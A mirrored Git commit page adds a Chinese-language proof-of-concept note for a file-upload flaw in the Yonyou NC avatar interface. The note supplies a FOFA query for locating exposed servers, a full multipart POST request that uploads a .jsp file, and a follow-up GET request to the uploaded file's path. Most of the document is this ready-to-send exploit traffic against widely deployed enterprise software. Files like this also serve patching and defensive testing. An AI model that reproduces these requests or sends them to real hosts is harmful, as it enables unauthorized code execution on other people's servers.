mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
Create 用友NC-avatar接口存在文件上传漏洞.md
This commit is contained in:
parent
5a2bce2eaf
commit
d4786c6516
41
用友NC-avatar接口存在文件上传漏洞.md
Normal file
41
用友NC-avatar接口存在文件上传漏洞.md
Normal file
@ -0,0 +1,41 @@
|
|||||||
|
## 用友NC-avatar接口存在文件上传漏洞
|
||||||
|
|
||||||
|
## fofa
|
||||||
|
```
|
||||||
|
body="/Client/Uclient/UClient.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
## poc
|
||||||
|
```
|
||||||
|
POST /uapim/upload/avatar?usercode=1&fileType=jsp HTTP/1.1
|
||||||
|
Host: 192.168.63.129:8088
|
||||||
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEXmnamw5gVZG9KAQ
|
||||||
|
User-Agent: Mozilla/5.0
|
||||||
|
|
||||||
|
------WebKitFormBoundaryEXmnamw5gVZG9KAQ
|
||||||
|
Content-Disposition: form-data; name="file"; filename="111.jsp"
|
||||||
|
Content-Type: application/octet-stream
|
||||||
|
|
||||||
|
3999
|
||||||
|
------WebKitFormBoundaryEXmnamw5gVZG9KAQ--
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
文件上传路径
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
```
|
||||||
|
GET /uapim/static/pages/photo/1/1.1713358789182.jsp HTTP/1.1
|
||||||
|
Host:
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
|
||||||
|
Connection: close
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
`http://192.168.63.129:8088/uapim/static/pages/photo/1/1.1713358789182.jsp`
|
||||||
|
|
||||||
Loading…
x
Reference in New Issue
Block a user